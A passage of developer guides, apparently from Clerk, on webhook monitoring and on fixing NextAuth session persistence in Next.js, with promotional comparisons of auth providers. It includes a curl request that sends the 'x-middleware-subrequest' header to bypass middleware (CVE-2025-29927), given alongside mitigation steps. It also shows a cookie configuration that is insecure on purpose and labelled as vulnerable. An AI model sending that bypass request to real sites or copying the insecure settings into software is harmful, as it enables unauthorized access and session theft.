- **Performance degradation affects reliability**: If your handler takes too long, Svix will timeout and retry, potentially causing duplicate processing or cascading failures

Track these metrics for production webhook handlers:

- **Processing latency**: How long webhook handling takes (aim for under 1 second)
- **Failure rate**: Percentage of webhooks returning non-2xx status
- **Queue depth**: For async processing, how many events await processing
- **Duplicate rate**: How often you receive the same `svix-id`

These align with Google's SRE book definition of the Four Golden Signals for monitoring distributed systems: **Latency** (track error latency separately), **Traffic** (requests per second), **Errors** (explicit HTTP 500s, implicit wrong content, policy violations), and **Saturation** (queue depth, processing backlog). The SRE guidance provides retry recommendations: "**Always use randomized exponential backoff** when scheduling retries. **Limit retries per request**. Don't retry indefinitely. Consider having a **server-wide retry budget**." ([Google's SRE book, 2016](https://sre.google/sre-book/monitoring-distributed-systems/)) ([addressing cascading failures, 2016](https://sre.google/sre-book/addressing-cascading-failures/))

```ts {{ filename: 'app/api/webhooks/clerk/route.ts' }}
import { NextRequest } from 'next/server'
import { verifyWebhook, WebhookEvent } from '@clerk/nextjs/webhooks'
import { prisma } from '@/lib/prisma'
import { logger } from '@/lib/logger'
import { metrics } from '@/lib/metrics'

export async function POST(req: NextRequest) {
  const startTime = Date.now()
  const webhookId = req.headers.get('svix-id')

  let evt: WebhookEvent

  try {
    evt = await verifyWebhook(req)
  } catch (err) {
    const processingTime = Date.now() - startTime
    logger.error('Webhook verification failed', {
      webhookId,
      processingTimeMs: processingTime,
      error: err.message,
      status: 'verification_failed',
    })
    metrics.increment('webhook.verification.failed')
    return new Response('Error occurred', { status: 400 })
  }

  // Process webhook with comprehensive logging
  try {
    logger.info('Processing webhook', {
      webhookId,
      eventType: evt.type,
      userId: evt.data.id,
      timestamp: new Date().toISOString(),
    })

    // Handle different event types
    switch (evt.type) {
      case 'user.created':
        await prisma.user.create({
          data: {
            clerkId: evt.data.id,
            email: evt.data.email_addresses[0]?.email_address,
            firstName: evt.data.first_name,
            lastName: evt.data.last_name,
            imageUrl: evt.data.image_url,
            createdAt: new Date(evt.data.created_at),
          },
        })
        metrics.increment('webhook.user.created')
        break

      case 'user.updated':
        await prisma.user.update({
          where: { clerkId: evt.data.id },
          data: {
            email: evt.data.email_addresses[0]?.email_address,
            firstName: evt.data.first_name,
            lastName: evt.data.last_name,
            imageUrl: evt.data.image_url,
            updatedAt: new Date(evt.data.updated_at),
          },
        })
        metrics.increment('webhook.user.updated')
        break

      case 'user.deleted':
        await prisma.user.delete({ where: { clerkId: evt.data.id } })
        metrics.increment('webhook.user.deleted')
        break
    }

    const processingTime = Date.now() - startTime

    // Log successful processing with metrics
    logger.info('Webhook processed successfully', {
      webhookId,
      eventType: evt.type,
      userId: evt.data.id,
      processingTimeMs: processingTime,
      status: 'success',
    })

    // Track performance metrics
    metrics.timing('webhook.processing_time', processingTime)
    metrics.increment('webhook.processed.success')
  } catch (error) {
    const processingTime = Date.now() - startTime

    logger.error('Webhook processing failed', {
      webhookId,
      eventType: evt.type,
      userId: evt.data?.id,
      processingTimeMs: processingTime,
      error: error.message,
      stack: error.stack,
      status: 'processing_failed',
    })

    metrics.increment('webhook.processed.failed')
    return new Response('Processing failed', { status: 500 })
  }

  return new Response('', { status: 200 })
}
```

For production applications, consider integrating with observability platforms:

- **Structured logging**: Use JSON-formatted logs with consistent fields for easier searching and alerting
- **Error tracking**: Services like Sentry or Bugsnag can alert you immediately when webhook handlers throw exceptions
- **Metrics dashboards**: Tools like Datadog, Grafana, or CloudWatch let you visualize webhook performance trends and set threshold alerts
- **Distributed tracing**: For complex webhook processing with multiple downstream services, tracing helps you understand the full request lifecycle

OpenTelemetry tracing concepts define span types relevant to webhooks: Server spans for incoming webhook requests, Producer/Consumer spans for async queue patterns. HTTP semantic conventions specify key attributes including `http.request.resend_count` for retry tracking. ([OpenTelemetry tracing concepts, 2024](https://opentelemetry.io/docs/concepts/signals/traces/)) ([HTTP semantic conventions, 2024](https://opentelemetry.io/docs/specs/semconv/http/http-spans/))

The Clerk Dashboard provides webhook delivery logs with detailed request and response information—essential for debugging production issues.

## Best practices checklist

Before deploying your webhook endpoint to production, verify:

**Security & Verification:**

- Signature verification using Clerk's `verifyWebhook()` helper
- Raw body access configured (no JSON parsing before verification)
- `CLERK_WEBHOOK_SIGNING_SECRET` stored in environment variables
- Signing secret treated as sensitive—never logged or exposed
- Server clock synchronized via NTP (required for timestamp validation)
- Consider IP allowlisting from Svix servers for additional protection

**Performance & Reliability:**

- Response returned within 15 seconds to avoid timeout retries
- Idempotent endpoints using upserts or webhook ID tracking
- Return 400 status for invalid signatures (triggers Svix retry)
- Return 200 status for successful processing

**Implementation:**

- All subscribed event types handled (`user.created`, `user.updated`, `user.deleted`)
- Database indexes on `clerkId` column for fast lookups
- Error logging for debugging failed webhooks
- Separate webhook endpoints configured for development and production

**Data & Compliance:**

- Initial migration script for existing users
- GDPR-compliant user deletion handling
- Monitoring and alerting configured

## Conclusion

Syncing Clerk user data to your own database unlocks powerful capabilities—from analytics dashboards to custom profiles to reduced API dependency—but comes with meaningful trade-offs in infrastructure complexity and eventual consistency. **Webhooks remain the recommended approach** for real-time sync, with the Backend API serving bulk migrations and recovery scenarios.

The key insight from Clerk's own documentation bears repeating: if session data and metadata can serve your needs, you may not need to sync at all. When you do sync, focus on **minimal data**, **idempotent handlers**, and **proper verification**. Your webhook handler should be defensive, assuming duplicate deliveries and occasional out-of-order events.

For most Next.js applications with PostgreSQL, the combination of Prisma schemas, the `verifyWebhook()` helper, and upsert-based event handling provides a robust foundation. Start simple, sync only what you need, and expand the scope of synced data only when concrete requirements demand it.

## Frequently asked questions

---

# Next.js Session Management
URL: https://clerk.com/articles/nextjs-session-management-solving-nextauth-persistence-issues.md
Date: 2026-03-27
Description: Diagnose and fix NextAuth session failures caused by cookie misconfigurations, JWT issues, and Edge incompatibilities—plus learn why managed solutions like Clerk eliminate these problems entirely.

**Sessions fail to persist in Next.js applications using NextAuth due to misconfigurations that leave authentication vulnerable.** The most common culprits — incorrect cookie settings, [JWT](/glossary#json-web-token) strategy mismatches, and [middleware](/glossary#middleware) conflicts — cause developers to spend significant time troubleshooting authentication issues. Managed alternatives like Clerk eliminate these problems entirely through zero-config [session management](/glossary#session-management) that handles cookies, tokens, and Edge Runtime automatically. This guide provides battle-tested solutions for every session persistence problem, compares leading authentication providers, and explains when switching to a managed solution makes more sense than debugging NextAuth.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## TL;DR

**Sessions disappear on refresh?** You're missing `NEXTAUTH_SECRET` in production—set a 32-byte random secret in your [environment variables](/glossary#environment-variables). This is critical.

**Cookie not persisting?** Your `sameSite: 'strict'` setting is blocking cross-origin requests. Change it to `sameSite: 'lax'`.

**Middleware auth bypass?** CVE-2025-29927 lets attackers skip your middleware entirely. Update Next.js to ≥15.2.3 or block the `x-middleware-subrequest` header. This is critical.

**JWT decryption errors?** Your secret changed or is missing between deploys. Use a consistent secret across all environments.

**Database sessions fail in Edge runtime?** Your adapter isn't Edge-compatible. Use the split config pattern or switch to JWT strategy.

**Subdomain sessions not sharing?** Your cookie domain isn't scoped correctly. Add a leading dot: `.example.com`.

**`useSession` returns null?** You're missing the `SessionProvider` wrapper. Wrap your root layout in `<SessionProvider>`.

## Why session management matters for security

Authentication failures remain a leading cause of data breaches. Nearly 38% of analyzed breaches used compromised credentials—more than double the breaches that used phishing and exploitation ([Verizon Report, 2024](https://www.asisonline.org/security-management-magazine/latest-news/today-in-security/2024/may/Verizon-DBIR-Compromised/)). Credential-based attacks took the longest to identify and contain at an average of 292 days, while the global average cost of a data breach reached $4.88 million—a 10% increase from the prior year ([IBM Report, 2024](https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs)).

For Next.js developers, these statistics underscore the importance of proper session management. A misconfigured authentication system doesn't just cause user frustration—it creates security vulnerabilities that attackers actively exploit.

## Cookie configuration errors cause most session failures

Cookie misconfigurations account for the majority of NextAuth session persistence issues. Session cookies must use [`HttpOnly`](/glossary#httponly-cookies), `Secure`, and `SameSite` attributes ([OWASP Documentation](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html))—yet many developers omit these in development and forget to enable them in production.

### Vulnerable vs secure cookie configuration

**Vulnerable configuration (common default)**:

```ts {{ filename: 'auth.ts' }}
import NextAuth from 'next-auth'
import Google from 'next-auth/providers/google'
import GitHub from 'next-auth/providers/github'
import { PrismaAdapter } from '@auth/prisma-adapter'
import { prisma } from '@/lib/prisma'

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Google({
      clientId: process.env.GOOGLE_CLIENT_ID,
      clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    }),
    GitHub({
      clientId: process.env.GITHUB_ID,
      clientSecret: process.env.GITHUB_SECRET,
    }),
  ],
  session: {
    strategy: 'database',
    maxAge: 30 * 24 * 60 * 60, // 30 days
  },
  // ❌ Sessions will be exposed to XSS and won't persist correctly
  cookies: {
    sessionToken: {
      name: `next-auth.session-token`,
      options: {
        httpOnly: false, // JavaScript can steal session
        sameSite: 'strict', // Blocks legitimate cross-origin requests
        path: '/',
        secure: false, // Sent over HTTP in production
      },
    },
  },
  callbacks: {
    async jwt({ token, user }) {
      if (user) {
        token.id = user.id
      }
      return token
    },
    async session({ session, user }) {
      session.user.id = user.id
      return session
    },
  },
  pages: {
    signIn: '/auth/signin',
    signOut: '/auth/signout',
    error: '/auth/error',
  },
  debug: process.env.NODE_ENV === 'development',
})
```

**Secure configuration**:

The secure version fixes each vulnerability:

- **`httpOnly: true`** — Prevents JavaScript from accessing the cookie, blocking XSS session theft
- **`sameSite: 'lax'`** — Allows cookies on top-level navigations (clicking links) while blocking them on cross-origin POST requests, balancing usability with [CSRF](/glossary#cross-site-request-forgery-csrf) protection
- **`secure: true` in production** — Ensures cookies are only transmitted over HTTPS, preventing interception on insecure networks
- **`__Secure-` prefix** — Tells browsers to enforce the `secure` attribute, providing defense-in-depth
- **Leading dot on domain** — `.example.com` enables cookie sharing across subdomains (`app.example.com`, `api.example.com`)

```ts {{ filename: 'auth.ts', ins: [23, 26, 27, 28, 29, 31, 32, 34, 35, 36, 37, 38, 39] }}
import NextAuth from 'next-auth'
import Google from 'next-auth/providers/google'
import GitHub from 'next-auth/providers/github'
import { PrismaAdapter } from '@auth/prisma-adapter'
import { prisma } from '@/lib/prisma'

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Google({
      clientId: process.env.GOOGLE_CLIENT_ID,
      clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    }),
    GitHub({
      clientId: process.env.GITHUB_ID,
      clientSecret: process.env.GITHUB_SECRET,
    }),
  ],
  session: {
    strategy: 'database',
    maxAge: 30 * 24 * 60 * 60, // 30 days
  },
  // ✅ Production-ready cookie configuration
  cookies: {
    sessionToken: {
      name:
        process.env.NODE_ENV === 'production'
          ? `__Secure-next-auth.session-token`
          : `next-auth.session-token`,
      options: {
        httpOnly: true, // Prevents XSS session theft
        sameSite: 'lax', // Allows safe cross-origin navigation
        path: '/',
        secure: process.env.NODE_ENV === 'production',
        domain:
          process.env.NODE_ENV === 'production'
            ? '.example.com' // Note leading dot for subdomains
            : undefined,
        maxAge: 30 * 24 * 60 * 60, // 30 days
      },
    },
  },
  callbacks: {
    async jwt({ token, user }) {
      if (user) {
        token.id = user.id
      }
      return token
    },
    async session({ session, user }) {
      session.user.id = user.id
      return session
    },
  },
  pages: {
    signIn: '/auth/signin',
    signOut: '/auth/signout',
    error: '/auth/error',
  },
  debug: process.env.NODE_ENV === 'development',
})
```

The corresponding API route handler for App Router:

```ts {{ filename: 'app/api/auth/[...nextauth]/route.ts' }}
import { handlers } from '@/auth'

export const { GET, POST } = handlers
```

Cross-subdomain session sharing requires the leading dot in the domain value (`.example.com` rather than `example.com`). Without this, sessions created on `app.example.com` won't be accessible from `api.example.com`, causing authentication failures across your infrastructure.

### Security considerations for `sameSite: 'lax'`

While `lax` is recommended over `strict` for most applications, it does permit cookies to be sent on top-level GET navigations from external sites. This means if a user clicks a link to your site from an attacker-controlled page, the session cookie will be included.

For most applications this is acceptable—the real protection `lax` provides is blocking cookies on cross-origin POST requests, which prevents classical CSRF attacks. However, if your application performs state-changing operations via GET requests (which violates HTTP semantics), `lax` won't protect you.

Additionally, when using the leading-dot domain (`.example.com`), your session cookie becomes accessible to *all* subdomains—including any that may be compromised or running less-trusted code. Ensure all subdomains are equally secured, or consider issuing separate, scoped sessions for sensitive subdomains.

## Environment variables silently break authentication

The most insidious session failures come from missing or misconfigured environment variables. **JWEDecryptionFailed** errors in production almost always trace back to `NEXTAUTH_SECRET` issues.

| Variable           | Purpose                                 | Required In                       | Consequence If Missing                    |
| ------------------ | --------------------------------------- | --------------------------------- | ----------------------------------------- |
| `NEXTAUTH_SECRET`  | Encrypts JWT tokens and session cookies | Production (mandatory)            | `NO_SECRET` error, tokens fail to decrypt |
| `NEXTAUTH_URL`     | Canonical URL for OAuth callbacks       | Self-hosted (Vercel auto-detects) | OAuth callbacks fail, redirect loops      |
| `AUTH_SECRET` (v5) | Same as NEXTAUTH\_SECRET for Auth.js v5 | Production (mandatory)            | Session validation fails                  |

Generate a secure secret with:

```bash {{ filename: 'terminal' }}
openssl rand -base64 32

# Example output: K7gNk2R8pLmQ4xVzYcFwJhT9bXsUeAoD3nHiMjKpLqE=
```

> \[!WARNING]
> Changing `NEXTAUTH_SECRET` in production invalidates all existing sessions, logging out every user. Plan secret rotations during maintenance windows and communicate to users.

## JWT versus database sessions create different failure modes

NextAuth supports two session strategies with distinct trade-offs. Choosing the wrong strategy for your use case causes either security vulnerabilities or runtime errors ([Auth.js Documentation, 2025](https://authjs.dev/concepts/session-strategies)).

**[JWT](/glossary#json-web-token) sessions** store encrypted session data client-side—typically in cookies, though JWTs can also be stored in `localStorage`, `sessionStorage`, or memory depending on your implementation. NextAuth stores JWTs in HttpOnly cookies by default, which is the most secure option as it prevents JavaScript access. JWT sessions work without a database and scale infinitely, but cannot be invalidated before expiration—a security concern if an attacker steals a token. When using cookie storage, the **4KB cookie size limit** can truncate large sessions silently.

**Database sessions** store session data server-side with only a session ID in the cookie. They support immediate [session revocation](/glossary#session-revocation) and "sign out everywhere" functionality but require database queries on every request and are **incompatible with Edge middleware**.

### The Credentials provider forces JWT strategy

A common mistake is combining the Credentials provider with database sessions:

```js {{ filename: 'pages/api/auth/[...nextauth].js' }}
// ❌ This configuration silently fails
export default NextAuth({
  adapter: PrismaAdapter(prisma),
  session: { strategy: 'database' }, // Won't work with Credentials
  providers: [
    CredentialsProvider({
      async authorize(credentials) {
        return { id: '1', email: 'user@example.com' }
      },
    }),
  ],
})
```

The Credentials provider **requires JWT strategy** because it handles authentication differently than OAuth providers. The correct configuration:

```js {{ filename: 'pages/api/auth/[...nextauth].js', ins: [1, 4, 8, 9] }}
// ✅ Force JWT when using Credentials provider
export default NextAuth({
  adapter: PrismaAdapter(prisma),
  session: { strategy: 'jwt' }, // Required for Credentials
  providers: [
    CredentialsProvider({
      async authorize(credentials) {
        const user = await verifyCredentials(credentials)
        return user
      },
    }),
  ],
})
```

## Edge runtime incompatibility crashes middleware

The Edge runtime powering Next.js [middleware](/glossary#middleware) lacks Node.js APIs like `crypto` and TCP sockets. Database adapters using Prisma, Mongoose, or `jsonwebtoken` will crash with errors like:

```
Error: The Edge Runtime does not support Node.js 'crypto' module
```

### Split configuration pattern solves Edge issues

The Auth.js team recommends separating Edge-compatible configuration from full configuration ([Auth.js Documentation, 2025](https://authjs.dev/guides/edge-compatibility)).

Here's an example of an Edge-compatible configuration file that excludes database adapters:

```ts {{ filename: 'auth.config.ts' }}
// Edge-compatible, NO adapter
import GitHub from 'next-auth/providers/github'
import type { NextAuthConfig } from 'next-auth'

export default {
  providers: [GitHub],
  pages: { signIn: '/login' },
} satisfies NextAuthConfig
```

The full configuration includes the database adapter for Node.js environments:

```ts {{ filename: 'auth.ts' }}
// Full config WITH adapter (Node.js only)
import NextAuth from 'next-auth'
import authConfig from './auth.config'
import { PrismaAdapter } from '@auth/prisma-adapter'

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  session: { strategy: 'jwt' },
  ...authConfig,
})
```

The middleware configuration uses only the Edge-compatible configuration:

```ts {{ filename: 'middleware.ts' }}
// Uses Edge-compatible config only
import NextAuth from 'next-auth'
import authConfig from './auth.config'

export const { auth: middleware } = NextAuth(authConfig)
```

For JWT validation in middleware, use the Edge-compatible `jose` library instead of `jsonwebtoken`:

```ts {{ filename: 'middleware.ts' }}
import { jwtVerify } from 'jose'

export async function middleware(request) {
  const token = request.cookies.get('session-token')?.value
  const secret = new TextEncoder().encode(process.env.AUTH_SECRET)

  try {
    await jwtVerify(token, secret)
    return NextResponse.next()
  } catch {
    return NextResponse.redirect(new URL('/login', request.url))
  }
}
```

## Critical vulnerability bypasses middleware authentication entirely

**CVE-2025-29927** allows attackers to completely bypass Next.js middleware by sending a single HTTP header. This vulnerability was disclosed on March 21, 2025, and has a **CVSS score of 9.1 (Critical)** ([Datadog Research, March 2025](https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/)). It affects Next.js versions before 15.2.3, 14.2.25, 13.5.9, and 12.3.5 ([Picus Security Report, 2025](https://www.picussecurity.com/resource/blog/cve-2025-29927-nextjs-middleware-bypass-vulnerability)).

An attacker can access protected routes by including:

```bash {{ filename: 'terminal' }}
curl -H "x-middleware-subrequest: middleware" https://yoursite.com/admin
```

This header tells Next.js to skip middleware execution entirely—bypassing all authentication checks if your application relies solely on middleware for protection. The vulnerability allows attackers to bypass middleware-based security checks by spoofing a header intended solely for internal use ([Akamai Research, March 2025](https://www.akamai.com/blog/security-research/march-authorization-bypass-critical-nextjs-detections-mitigations)).

### Immediate mitigation steps

1. **Update Next.js** to patched versions (≥15.2.3, ≥14.2.25, ≥13.5.9, ≥12.3.5)
2. **Block the header** at your edge/WAF if you cannot update immediately
3. **Never rely solely on middleware** for authentication—always validate sessions in Server Components, API Routes, and Server Actions

The vulnerability underscores a fundamental principle: defense in depth. Clerk, Auth0, and other managed auth providers implement authentication checks at multiple layers, making them immune to single-point-of-failure exploits like this.

> **Why not just check auth in layouts?** Due to Next.js partial rendering, layouts don't re-render on navigation within their subtree. A user's session won't be re-checked on every route change if you only verify auth in a layout. The DAL pattern ensures auth is checked wherever data is accessed, regardless of how the user navigated there.

## Server-side versus client-side session handling causes hydration mismatches

Three different methods retrieve sessions in NextAuth, each with specific contexts:

| Method               | Context           | Behavior                              | Common Error                    |
| -------------------- | ----------------- | ------------------------------------- | ------------------------------- |
| `useSession()`       | Client components | React hook requiring SessionProvider  | Returns `null` without provider |
| `getSession()`       | Client or Server  | Makes API call to `/api/auth/session` | Slower, requires network        |
| `getServerSession()` | Server only       | Direct access, most efficient         | Requires authOptions parameter  |

### SessionProvider wrapper is mandatory for client components

Any client component using the `useSession()` hook must be wrapped in a `SessionProvider`. The recommended approach is to wrap your entire app at the root layout level and pass in the server-fetched session to avoid hydration mismatches:

```tsx {{ filename: 'app/layout.tsx' }}
// Correct setup
import { SessionProvider } from 'next-auth/react'
import { getServerSession } from 'next-auth'
import { authOptions } from '@/lib/auth'

export default async function RootLayout({ children }) {
  const session = await getServerSession(authOptions)

  return (
    <html>
      <body>
        <SessionProvider session={session}>{children}</SessionProvider>
      </body>
    </html>
  )
}
```

Passing the server-fetched session to `SessionProvider` prevents hydration mismatches where the client initially renders without session data.

## Session callback misconfigurations lose custom user data

Custom fields like user roles or IDs disappear from sessions when callbacks don't properly pass data through the JWT-to-session pipeline:

```ts {{ prettier: false, filename: 'auth.ts', ins: [19, [24, 30], [35, 38]] }}
import NextAuth from 'next-auth'
import Google from 'next-auth/providers/google'
import GitHub from 'next-auth/providers/github'
import { PrismaAdapter } from '@auth/prisma-adapter'
import { prisma } from '@/lib/prisma'

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Google({
      clientId: process.env.GOOGLE_CLIENT_ID,
      clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    }),
    GitHub({
      clientId: process.env.GITHUB_ID,
      clientSecret: process.env.GITHUB_SECRET,
    }),
  ],
  session: { strategy: 'jwt' }, // Required for custom fields
  callbacks: {
    async jwt({ token, user, account }) {
      // user/account only available on first sign-in
      if (user) {
        token.id = user.id
        token.role = user.role
      }
      if (account) {
        token.accessToken = account.access_token
      }
      return token  // MUST return token
    },

    async session({ session, token }) {
      // JWT strategy: token available (not user)
      session.user.id = token.id
      session.user.role = token.role
      session.accessToken = token.accessToken
      return session  // MUST return session
    }
  },
  pages: {
    signIn: '/auth/signin',
    signOut: '/auth/signout',
    error: '/auth/error',
  },
  debug: process.env.NODE_ENV === 'development',
})
```

TypeScript users should augment NextAuth types to include custom fields:

```ts {{ filename: 'types/next-auth.d.ts' }}
declare module 'next-auth' {
  interface Session {
    user: { id: string; role: string } & DefaultSession['user']
    accessToken?: string
  }
}
```

## Authentication provider comparison reveals significant differences

Modern authentication providers handle session management automatically, eliminating the configuration complexity that causes NextAuth issues. Managed providers can reduce implementation time from weeks to minutes while providing stronger security defaults. For teams migrating from NextAuth, Clerk provides a [step-by-step migration guide](/docs/guides/development/migrating/authjs) that preserves existing user data.

Setup times vary based on project complexity and team familiarity. The estimates below reflect typical first-time implementations for standard OAuth flows based on documentation walkthroughs and community feedback.

| Feature             | NextAuth     | Auth0                      | AWS Cognito            | Clerk                                               | Supabase                                          |
| ------------------- | ------------ | -------------------------- | ---------------------- | --------------------------------------------------- | ------------------------------------------------- |
| **Session storage** | Configurable | Encrypted HttpOnly cookies | Cookies (configurable) | Short-lived JWTs in cookies                         | Cookies                                           |
| **Token lifetime**  | Configurable | 10hr ID, 24hr access       | Configurable           | 60s with auto-refresh                               | 1hr default                                       |
| **Setup time**      | 30+ minutes  | 30-60 minutes              | 1-3 hours              | 5-15 minutes                                        | 15-30 minutes                                     |
| **Edge runtime**    | JWT only     |                            | Limited                |                                                     |                                                   |
| **Pre-built UI**    |              |                            | Basic                  |                                                     | Basic                                             |
| **Free tier**       | Free (OSS)   | 25,000 MAU                 | 50,000 MAU             | 50,000 [MRU](/glossary#monthly-retained-users-mrus) | 50,000 [MAU](/glossary#monthly-active-users-maus) |

### Clerk eliminates session management complexity

Clerk's architecture solves NextAuth session issues by design. **Short-lived JWTs** (60-second default) with automatic background refresh eliminate token expiration problems. Sessions persist correctly across tabs, subdomains, and page refreshes without configuration.

Clerk uses a hybrid session approach: a long-lived cookie on Clerk's Frontend API domain handles the primary authentication, while short-lived JWTs (stored in a `__session` cookie) authenticate requests to your backend. The 60-second token lifetime mitigates [XSS](/glossary#cross-site-scripting-xss) risk—even if an attacker exfiltrates a token, it expires almost immediately ([Clerk Documentation, 2025](/docs/guides/sessions/session-tokens)).

Clerk eliminates session persistence issues with a simple three-step integration: proxy setup, wrapping your app with [`<ClerkProvider />`](/glossary#clerkprovider), and using pre-built authentication components.

The proxy setup with route protection. In Next.js 16, the middleware file has been renamed to `proxy.ts`. For detailed configuration options, see the [Clerk middleware documentation](/docs/references/nextjs/clerk-middleware):

```ts {{ filename: 'proxy.ts' }}
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

// Define protected routes
const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/profile(.*)', '/admin(.*)'])

export default clerkMiddleware(async (auth, req) => {
  // Protect routes and redirect unauthenticated users
  if (isProtectedRoute(req)) {
    await auth.protect()
  }
})

export const config = {
  matcher: [
    // Skip Next.js internals and all static files, unless found in search params
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    // Always run for API routes
    '/(api|trpc)(.*)',
  ],
}
```

The app wrapper with ClerkProvider. In Core 3, `<ClerkProvider>` should be placed inside the `<body>` element rather than wrapping the `<html>` element:

```tsx {{ filename: 'app/layout.tsx' }}
import { ClerkProvider } from '@clerk/nextjs'
import { Navigation } from '@/components/navigation'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>
          <Navigation />
          <main>{children}</main>
        </ClerkProvider>
      </body>
    </html>
  )
}
```

Navigation component with conditional authentication UI. The `<Show>` component replaces the deprecated `<SignedIn>` and `<SignedOut>` components in Core 3:

```tsx {{ filename: 'components/navigation.tsx' }}
import { SignInButton, Show, UserButton } from '@clerk/nextjs'

export function Navigation() {
  return (
    <header className="flex items-center justify-between border-b p-4">
      <h1 className="text-xl font-bold">Your App</h1>
      <div>
        <Show when="signed-out">
          <SignInButton />
        </Show>
        <Show when="signed-in">
          <UserButton />
        </Show>
      </div>
    </header>
  )
}
```

Sign-in page with the SignIn component:

```tsx {{ filename: 'app/sign-in/page.tsx' }}
import { SignIn } from '@clerk/nextjs'

export default function SignInPage() {
  return (
    <div className="flex min-h-screen items-center justify-center">
      <SignIn />
    </div>
  )
}
```

Using control components within pages and accessing user data with the `auth` helper. The `auth()` function is async in Core 3 and must be awaited:

```tsx {{ filename: 'app/dashboard/page.tsx' }}
import { Show, RedirectToSignIn } from '@clerk/nextjs'
import { auth, currentUser } from '@clerk/nextjs/server'

export default async function DashboardPage() {
  const { userId } = await auth()
  const user = await currentUser()

  return (
    <>
      <Show when="signed-in">
        <div>
          <h1>Dashboard</h1>
          <p>Welcome back, {user?.firstName || user?.emailAddresses[0]?.emailAddress}!</p>
          <p>User ID: {userId}</p>
          <p>This content is only visible to signed-in users.</p>
        </div>
      </Show>
      <Show when="signed-out">
        <RedirectToSignIn />
      </Show>
    </>
  )
}
```

The [`clerkMiddleware()`](/docs/references/nextjs/clerk-middleware) function runs natively on Edge runtime, handles token refresh automatically, and provides fast session validation. Cross-subdomain sessions work out of the box through proper cookie domain scoping.

For applications requiring enterprise features, Clerk's [Organizations](/docs/guides/organizations/overview) feature handles B2B [multi-tenancy](/glossary/multi-tenancy), [user impersonation](/docs/guides/users/impersonation) for support teams, and [SOC 2](/glossary#soc-2) Type II compliance. The [Clerk Documentation](/docs/guides/development/migrating/authjs) provides migration guides from NextAuth and integration patterns for every Next.js architecture.

### Auth0 provides enterprise-grade flexibility

Auth0 offers robust session management with extensive customization options, making it popular for enterprise applications. The SDK handles session encryption, token refresh, and CSRF protection automatically ([Auth0 Documentation](https://github.com/auth0/nextjs-auth0)).

The Auth0 API route setup:

```ts {{ filename: 'app/api/auth/[...auth0]/route.ts' }}
import { handleAuth } from '@auth0/nextjs-auth0'

export const GET = handleAuth()
export const POST = handleAuth()
```

The application wrapper with UserProvider:

```tsx {{ filename: 'app/layout.tsx' }}
import { UserProvider } from '@auth0/nextjs-auth0/client'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <UserProvider>{children}</UserProvider>
      </body>
    </html>
  )
}
```

Protecting routes and accessing user data in your components:

```tsx {{ filename: 'app/dashboard/page.tsx' }}
import { getSession } from '@auth0/nextjs-auth0'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const session = await getSession()
  if (!session) {
    redirect('/api/auth/login')
  }
  return <Dashboard user={session.user} />
}
```

**Pros**: Extensive enterprise features ([SSO](/glossary#single-sign-on-sso), [MFA](/glossary#multi-factor-authentication-mfa), anomaly detection), broad identity provider support, detailed [audit logs](/glossary#audit-logs), and compliance certifications. **Cons**: More complex setup than Clerk, pricing scales quickly at higher MAU counts, and the free tier (25,000 MAU) may not suffice for growing applications.

### Supabase Auth integrates with your database

Supabase provides authentication as part of its backend-as-a-service platform. If you're already using Supabase for your database, Supabase Auth integrates seamlessly with Row Level Security policies ([Supabase Documentation](https://supabase.com/docs/guides/auth/server-side/nextjs)).

The server client utility:

```ts {{ filename: 'utils/supabase/server.ts' }}
import { createServerClient } from '@supabase/ssr'
import { cookies } from 'next/headers'

export async function createClient() {
  const cookieStore = await cookies()
  return createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll: () => cookieStore.getAll(),
        setAll: (cookiesToSet) => {
          cookiesToSet.forEach(({ name, value, options }) => cookieStore.set(name, value, options))
        },
      },
    },
  )
}
```

The OAuth callback route setup:

```ts {{ filename: 'app/auth/callback/route.ts' }}
import { createClient } from '@/utils/supabase/server'
import { NextResponse } from 'next/server'

export async function GET(request: Request) {
  const { searchParams, origin } = new URL(request.url)
  const code = searchParams.get('code')
  const next = searchParams.get('next') ?? '/dashboard'

  if (code) {
    const supabase = await createClient()
    const { error } = await supabase.auth.exchangeCodeForSession(code)

    if (!error) {
      return NextResponse.redirect(`${origin}${next}`)
    }
  }

  // Return to error page if something went wrong
  return NextResponse.redirect(`${origin}/auth/auth-code-error`)
}
```

Protecting your routes by checking authentication:

```tsx {{ filename: 'app/dashboard/page.tsx' }}
import { createClient } from '@/utils/supabase/server'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const supabase = await createClient()
  const {
    data: { user },
  } = await supabase.auth.getUser()

  if (!user) {
    redirect('/login')
  }

  return <Dashboard user={user} />
}
```

**Pros**: Generous free tier (50,000 MAU), tight database integration with RLS, open-source and self-hostable, real-time subscriptions. **Cons**: Less mature pre-built UI components, requires more manual setup than Clerk, and enterprise features (SSO, [SAML](/glossary#security-assertion-markup-language-saml)) require higher-tier plans.

### AWS Cognito offers deep AWS integration

